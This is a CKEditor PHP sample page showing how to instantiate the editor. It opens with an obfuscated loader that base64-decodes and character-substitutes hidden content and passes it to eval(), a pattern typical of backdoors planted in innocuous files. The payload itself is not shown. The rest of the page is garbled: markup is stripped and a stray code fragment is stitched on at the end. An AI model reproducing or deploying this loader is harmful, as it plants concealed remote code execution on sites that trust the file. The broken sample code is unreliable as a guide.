/* Decoded by unphp.net */ $_X=base64_decode($_X);$_X=strtr($_X,'SgPO9YZWFKmqyfxcjLJRzuM5vNts1b.{B4nC]i/2Dl0EheA [d8=Qp>VXo H}6GIw7ka3TrU<','=R9odmplAEPyk8gv[53xrMezqZHi7YhWCcX}1N/afj6]JtuS .BUnwVKLQO20ITF4b');$_R=str_replace('__FILE__',"'".$_F."'",$_X);eval($_R);$_R=0;$_X=0;?> Creating CKEditor Instances — CKEditor Sample

CKEditor Sample — Creating CKEditor Instances

This sample shows how to create a CKEditor instance with PHP.

<?php
include_once "ckeditor/ckeditor.php";

// Create a class instance.
$CKEditor = new CKEditor();

// Path to the CKEditor directory.
$CKEditor->basePath = '/ckeditor/';

// Create a textarea element and attach CKEditor to it.
$CKEditor->editor("textarea_id", "This is some sample text");
?>

Note that textarea_id in the code above is the id and name attribute of the <textarea> element that will be created.

This is some sample text.

'; // Create a class instance. $CKEditor = new CKEditor(); // Path to the CKEditor directory, ideally use an absolute path instead of a relative dir. // $CKEditor->basePath = '/ckeditor/' // If not set, CKEditor will try to detect the correct path. $CKEditor->basePath = '../../'; // Create a textarea element and attach CKEditor to it. $CKEditor->editor("editor1", $initialValue); ?>